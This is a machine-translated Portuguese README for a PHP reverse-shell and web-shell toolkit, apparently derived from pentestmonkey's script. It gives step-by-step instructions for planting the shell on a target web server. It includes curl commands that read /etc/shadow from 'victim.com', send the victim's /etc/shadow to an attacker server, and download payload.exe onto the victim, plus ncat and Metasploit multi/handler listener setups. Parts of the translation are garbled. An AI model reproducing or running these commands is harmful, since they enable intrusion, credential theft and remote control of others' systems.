Apenas um pouco de atualização no popular script de shell reverso PENTESTMONKEY/PHP-REVERVERSITO. Créditos para o autor original!
Funciona no Linux OS e MacOS com /bin/sh e Windows OS com cmd.exe . O script detectará automaticamente o sistema operacional subjacente.
Funciona com ambos, ncat e multi/handler .
Testado no XAMPP para Linux V7.3.19 (64 bits) com PHP V7.3.19 no Kali Linux V2020.2 (64 bits).
Testado no XAMPP para OS X V7.4.10 (64 bits) com PHP V7.4.10 na MacOS Catalina v10.15.6 (64 bits).
Testado no XAMPP para Windows V7.4.3 (64 bits) com o PHP V7.4.3 no sistema operacional Windows 10 Enterprise (64 bits).
Além disso, tudo foi testado em imagens do docker nouphet/docker-php4 com php v4.4.0 e steeze/php52-nginx com php v5.2.17.
Feito para fins educacionais. Espero que ajude!
Os tubos de processo no sistema operacional Windows não suportam operações assíncronas SO stream_set_blocking() , stream_select() e feof() não funcionarão corretamente, mas encontrei uma solução alternativa.
/src/reverse/php_reverse_shell.php requer php v5.0.0 ou maior.
/src/ververse/php_reverse_shell_older.php requer php v4.3.0 ou maior.
Altere o endereço IP e o número da porta dentro dos scripts, conforme necessário.
Copy /src/ververse/php_reverse_shell.php no diretório raiz da web do seu servidor (por exemplo, para/opt/lampp/htdocs/no xampp) ou envie -o no servidor da web do seu destino.
Navegue até o arquivo com o seu navegador preferido.
Verifique o shell da Web PHP simples com base na solicitação de postagem HTTP.
Verifique o shell da Web PHP simples com base na solicitação HTTP GET. Você deve codificar seus comandos.
Verifique o PHP Web Shell V2 com base na solicitação HTTP GET. Você deve codificar seus comandos.
Saiba mais sobre as técnicas de ofuscação PHP para versões antigas do PHP no LCATRO/PHP-WEBSHELL-BYPASS-WAF. Créditos para o autor!
Verifique o script de upload/download do arquivo php simples com base na solicitação de postagem http para upload de arquivo e http get solicitação para download de arquivo.
Ao baixar um arquivo, você deve codificar o caminho do arquivo e não se esqueça de especificar o arquivo de saída se estiver usando o CURL.
Ao fazer upload de um arquivo, não se esqueça de especificar @ antes do caminho do arquivo.
Dependendo da configuração do servidor, o download de um arquivo através do parâmetro de solicitação HTTP GET pode nem sempre funcionar, em vez disso, você precisará hardar o caminho do arquivo no script.
Navegue até o script no servidor da Web da vítima com seu navegador preferido da Web ou use o CURL do seu PC.
Carregue um arquivo no diretório raiz da web do servidor do seu PC:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Baixe um arquivo do servidor para o seu PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Se você elevou seus privilégios iniciais dentro do seu shell reverso, esse script pode não ter os mesmos privilégios que o shell. Nesse caso, para baixar um determinado arquivo, pode ser necessário copiar o arquivo para o diretório raiz da web e definir as permissões de leitura necessárias.
A partir do seu shell reverso PHP, execute os seguintes comandos CURL.
Carregue um arquivo do PC da vítima para o diretório raiz da web do servidor:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Baixe um arquivo do diretório raiz da web do servidor para o PC da vítima:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Para configurar um ouvinte, abra seu console preferido no Kali Linux e execute um dos exemplos abaixo.
Configure o ouvinte ncat :
ncat -nvlp 9000
Configure o ouvinte multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figura 1 - NCAT

Figura 2 - despejo do script